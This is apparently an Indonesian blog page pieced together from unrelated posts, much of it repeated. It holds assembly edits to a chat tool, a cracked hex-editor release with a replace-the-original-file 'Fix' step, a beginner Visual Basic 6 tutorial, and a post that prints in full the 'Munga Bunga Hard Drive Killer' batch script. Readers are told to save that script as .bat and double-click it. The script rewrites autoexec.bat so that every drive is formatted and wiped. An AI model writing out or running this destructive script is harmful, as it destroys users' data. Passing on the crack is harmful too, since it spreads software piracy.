invoke GetPrivateProfileString,addr khead,addr pfini,addr szNull,addr pwd01,sizeof pwd01,addr CurrentDir
invoke GetPrivateProfileString,addr khead,addr omong,addr szNull,addr ngocol01,sizeof ngocol01,addr CurrentDir
invoke GetPrivateProfileString,addr khead,addr IPAddress,addr szNull,addr address,sizeof address,addr CurrentDir
invoke WinSockProc,addr address,Port,hWnd
invoke SetDlgItemText,hwwnd,TEXT_ID,addr id01
.IF uMsg==WM_INITDIALOG
mov edx,hWnd
mov hwwnd,edx
invoke GetCurrentDirectory,sizeof CurrentDir,addr CurrentDir
invoke lstrcat, addr CurrentDir,addr backslash
invoke lstrcat, addr CurrentDir,addr inifilename
invoke SetTimer,hWnd,ID_TIMER,60000,0
invoke GetPrivateProfileString,addr khead,addr unamafini,addr szNull,addr id01,sizeof id01,addr CurrentDir
invoke GetPrivateProfileString,addr khead,addr pfini,addr szNull,addr pwd01,sizeof pwd01,addr CurrentDir
invoke GetPrivateProfileString,addr khead,addr omong,addr szNull,addr ngocol01,sizeof ngocol01,addr CurrentDir
invoke GetPrivateProfileString,addr khead,addr IPAddress,addr szNull,addr address,sizeof address,addr CurrentDir
invoke WinSockProc,addr address,Port,hWnd
invoke SetDlgItemText,hwwnd,TEXT_ID,addr id01
aslinya ky gini:
Code:
invoke WinSockProc,addr IPAddress,Port,hWnd
ini modifikasi gw:
Code:
invoke WinSockProc,addr address,Port,hWnd
trus di file konfigurasinya gw tambahin:
Code:
[details]
address=66.151.149.102
address=66.151.149.102
gitu doank..
tapi gw blm tau gmn caranya supaya migpro jg bisa ngebaca Port Number nya dr file konfigurasinya..
--------------------------------------------------------------------------------
Ini hasil edit trakhir yg gw lakukan pd source code migpro..
Code:
http://www.evilshare.com/d6af4652-818e-102b-a14f-000b6aa2a5f8
selamat mengutak atik
hex editor neo ultimate 4.93.03.3402
Hex Editor Neo Ultimate is a most powerful binary files editing solution for advanced specialists who wants the best and knows the pleasure of working with top quality tools only.
It has all of extended features and product flexibility. You will be even able to write and execute your own scripts to manipulate data and control the way an application works.
Here are some exclusive features of Hex Editor Neo Ultimate: Two Built-In Explorer Windows; Unlimited Undo/Redo; Multiple Selection; Selection Save and Load; Find All; Replace All; History Browsing; History Save and Load; Patch Creation; Clipboard Operations; Bytes, Words, Double Words, Quad Words, Floats and Doubles Edit Mode; Pattern Coloring; Data Inspector; Bookmarks; Base Converter; Advanced copy & export; Encodings; Structure Viewer; Statistics; Find in Files; Replace in Files; History Branching; Checksum Calculation; NTFS Alternate Data Streams Support; Searching for NTFS streams; File Document Scripting.
Hex Editor can be successfully used for:
* editing binary files of any size at highest speed
* searching and replacing your data in a binary file
* writing your microcode programs
* researching the functionality of any executable file
* streamlining your work using Undo/Redo and other features
Hex Editor can be successfully used by:
* software developers
* private users
* beta-testers
* university students
* coders
Hex Editor usage areas:
* Binary files
* Patches
* DLLs
* AVI files
* MP3 files
* JPG files
Installation
1.install,
2.Use File in Fix folder to replace original file
Enjoy
It has all of extended features and product flexibility. You will be even able to write and execute your own scripts to manipulate data and control the way an application works.
Here are some exclusive features of Hex Editor Neo Ultimate: Two Built-In Explorer Windows; Unlimited Undo/Redo; Multiple Selection; Selection Save and Load; Find All; Replace All; History Browsing; History Save and Load; Patch Creation; Clipboard Operations; Bytes, Words, Double Words, Quad Words, Floats and Doubles Edit Mode; Pattern Coloring; Data Inspector; Bookmarks; Base Converter; Advanced copy & export; Encodings; Structure Viewer; Statistics; Find in Files; Replace in Files; History Branching; Checksum Calculation; NTFS Alternate Data Streams Support; Searching for NTFS streams; File Document Scripting.
Hex Editor can be successfully used for:
* editing binary files of any size at highest speed
* searching and replacing your data in a binary file
* writing your microcode programs
* researching the functionality of any executable file
* streamlining your work using Undo/Redo and other features
Hex Editor can be successfully used by:
* software developers
* private users
* beta-testers
* university students
* coders
Hex Editor usage areas:
* Binary files
* Patches
* DLLs
* AVI files
* MP3 files
* JPG files
Installation
1.install,
2.Use File in Fix folder to replace original file
Enjoy
Download
Code:
mirror
Code:
tuh yg suka main edit2 an
menghancurkan hardisk dengan notepad
gunain dengan bijak yah jgn pinya temen dihancurin..
ney caranya n met coba :
Buka notepad, ketik kode berikut :
Save dgn ekstensi .bat
trus klik 2 kali
ney caranya n met coba :
Buka notepad, ketik kode berikut :
Code:
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's damn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:testdrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
if %drive%.==. set drive=c
del drivechk.bat >nul
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Hard Drive Killer Pro Version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 3. This breach of your security will benefit you in the long-run, so don't worry. Think about it.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\% %2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\% %2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.
set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z
rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's damn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.
echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.
echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.
echo :enddc >>drivechk.bat
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".
rem Now we will use the program drivechk.bat to attain valid drive information.
:testdrv
for %%a in (%alldrive%) do call drivechk.bat %%a >nul
if %drive%.==. set drive=c
del drivechk.bat >nul
:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autotest >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Hard Drive Killer Pro Version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 3. This breach of your security will benefit you in the long-run, so don't worry. Think about it.>>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat
:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\% %2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2 \%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\% %2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul
cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autotest >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Thank you for using a Munga Bunga product.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga
:end
Save dgn ekstensi .bat
trus klik 2 kali
mengenal visual basic 6 atau VB6
Mengenal Visual Basic
Mungkin temen2 dah tau apa itu Visual Basic ato biasanya disebut VB di sini aku coba berikan sedikit tentang bahasan dan tutorial untuk mencoba membuat program dengan VB. Nah kalian juga pasti tau seperti kebanyakan tools yang ada di forum ini (terutama tool kicking) menggunakan VB dalam pembuatannya, boleh percaya ato ga bahkan tool ato software yang beredaran di luar baik itu free ato register juga ada yang memakai VB sebagai pemrogramannya.
Ok dah langsung mulai…
Menjalankan Visual Basic
Setelah nginstal VB, jalankan program tersebut dari menu start (ato shortcut). Tunggu bentaran, akan tampil layar pembuka yang diikuti layar sbb:
Pada kotak dialog tersebut, kalian akan menemukan berbagai file yang bias dibuat oleh VB, dalam tutorial ini aku menggunakan Standart EXE kemudian klik Open. Maka akan tampil layar berikut:
Bagian terpenting adalah Component Toolbox dan Properties Window. Sedangkan pada Form Layout adalah tempat kamu membikin kreativitas membuat tampilan antar muka program.
Membuat Program yang Mudah
Kita akan mencoba bikin program yang simple. Dalam hal ini aku coba menggunakan struktur di bawah ini untuk menjelasakan spesifikasi program supaya untuk mempermudah juga. Ini contohnya:
Project : prjPertama.vbp (ketikan ini ketika save project kalian)
Form : frmMain.frm (ketikan ketika save Form kalian)
Modul : mdlMain.mdl (ketikan ketika save modul) untuk menambah modul klik Project (di toolbar) kemudian klik add modul
Kontrol penting :
- Textbox untuk menampung nama (Text1)
- Tombol untuk menampilkan nama (Command1)
- Label untuk menampilkan status (Label1) dengan Properties BorderStyle bernilai 1 – Fixed Single.
Jika kalian menemui struktur seperti di atas, berarti kalian harus membuat satu form, diberi nama frmMain. Silahkan modifikasi form sesukanya. Serpeti contoh di bawah ini:
Ok setelah puas memodifikasi form, kita mulai menulis kode program (source code). Dalam hal ini kita menggunakan event klik pada Command1, yang artinya source code tersebut akan dijalankan saat tombol diklik. Untuk memasukkan source code, klik ganda pada Command1 sehingga muncul layar berikut:
Kemudian ketikkan source code berikut:
Tampilannya seperti ini:
Setelah selesai, tekan tombol Ctrl + F5 untuk menjalankan program secara full compile. Cara yang sama juiga bisa melalui menu Run>Start with Full Compile.
Kenapa kok gak Start aja ato tekan F5? Aku jawab secara praktis ajah, dengan Ctrl + F5 VB akan ngecek source code terlebih dahulu, jika ada kesalahan ketika pengetikan akan muncul informasi kesalahan. Kalo gak selamat berarti kamu dah bisa langkah pertama.
Sebagai tambahan, ada kalanya dalam program memerlukan control/komponen yang tidak ada di Component Toolbox. Solusinya, kita harus menambahkan secara manual control yang diinginkan. Klik kanan pada Componen Toolbox, pilih Components.
Ato bisa lewat menu Project kemudian pilih Component ato dengan Ctrl + T
Selanjutnya akan muncul daftar control yang tersedia di system kalian. Pilihlah control yang sesuai dengan spesifikasi program.
Mungkin temen2 dah tau apa itu Visual Basic ato biasanya disebut VB di sini aku coba berikan sedikit tentang bahasan dan tutorial untuk mencoba membuat program dengan VB. Nah kalian juga pasti tau seperti kebanyakan tools yang ada di forum ini (terutama tool kicking) menggunakan VB dalam pembuatannya, boleh percaya ato ga bahkan tool ato software yang beredaran di luar baik itu free ato register juga ada yang memakai VB sebagai pemrogramannya.
Ok dah langsung mulai…
Menjalankan Visual Basic
Setelah nginstal VB, jalankan program tersebut dari menu start (ato shortcut). Tunggu bentaran, akan tampil layar pembuka yang diikuti layar sbb:
Pada kotak dialog tersebut, kalian akan menemukan berbagai file yang bias dibuat oleh VB, dalam tutorial ini aku menggunakan Standart EXE kemudian klik Open. Maka akan tampil layar berikut:
Bagian terpenting adalah Component Toolbox dan Properties Window. Sedangkan pada Form Layout adalah tempat kamu membikin kreativitas membuat tampilan antar muka program.
Membuat Program yang Mudah
Kita akan mencoba bikin program yang simple. Dalam hal ini aku coba menggunakan struktur di bawah ini untuk menjelasakan spesifikasi program supaya untuk mempermudah juga. Ini contohnya:
Project : prjPertama.vbp (ketikan ini ketika save project kalian)
Form : frmMain.frm (ketikan ketika save Form kalian)
Modul : mdlMain.mdl (ketikan ketika save modul) untuk menambah modul klik Project (di toolbar) kemudian klik add modul
Kontrol penting :
- Textbox untuk menampung nama (Text1)
- Tombol untuk menampilkan nama (Command1)
- Label untuk menampilkan status (Label1) dengan Properties BorderStyle bernilai 1 – Fixed Single.
Jika kalian menemui struktur seperti di atas, berarti kalian harus membuat satu form, diberi nama frmMain. Silahkan modifikasi form sesukanya. Serpeti contoh di bawah ini:
Ok setelah puas memodifikasi form, kita mulai menulis kode program (source code). Dalam hal ini kita menggunakan event klik pada Command1, yang artinya source code tersebut akan dijalankan saat tombol diklik. Untuk memasukkan source code, klik ganda pada Command1 sehingga muncul layar berikut:
Kemudian ketikkan source code berikut:
Code:
Dim nama As String
Nama = Text1.Text
MsgBox “HALO “ & nama & “…apa kabar?”, vbOKOnly
Nama = Text1.Text
MsgBox “HALO “ & nama & “…apa kabar?”, vbOKOnly
Tampilannya seperti ini:
Setelah selesai, tekan tombol Ctrl + F5 untuk menjalankan program secara full compile. Cara yang sama juiga bisa melalui menu Run>Start with Full Compile.
Kenapa kok gak Start aja ato tekan F5? Aku jawab secara praktis ajah, dengan Ctrl + F5 VB akan ngecek source code terlebih dahulu, jika ada kesalahan ketika pengetikan akan muncul informasi kesalahan. Kalo gak selamat berarti kamu dah bisa langkah pertama.
Sebagai tambahan, ada kalanya dalam program memerlukan control/komponen yang tidak ada di Component Toolbox. Solusinya, kita harus menambahkan secara manual control yang diinginkan. Klik kanan pada Componen Toolbox, pilih Components.
Ato bisa lewat menu Project kemudian pilih Component ato dengan Ctrl + T
Selanjutnya akan muncul daftar control yang tersedia di system kalian. Pilihlah control yang sesuai dengan spesifikasi program.
Langganan:
Postingan (Atom)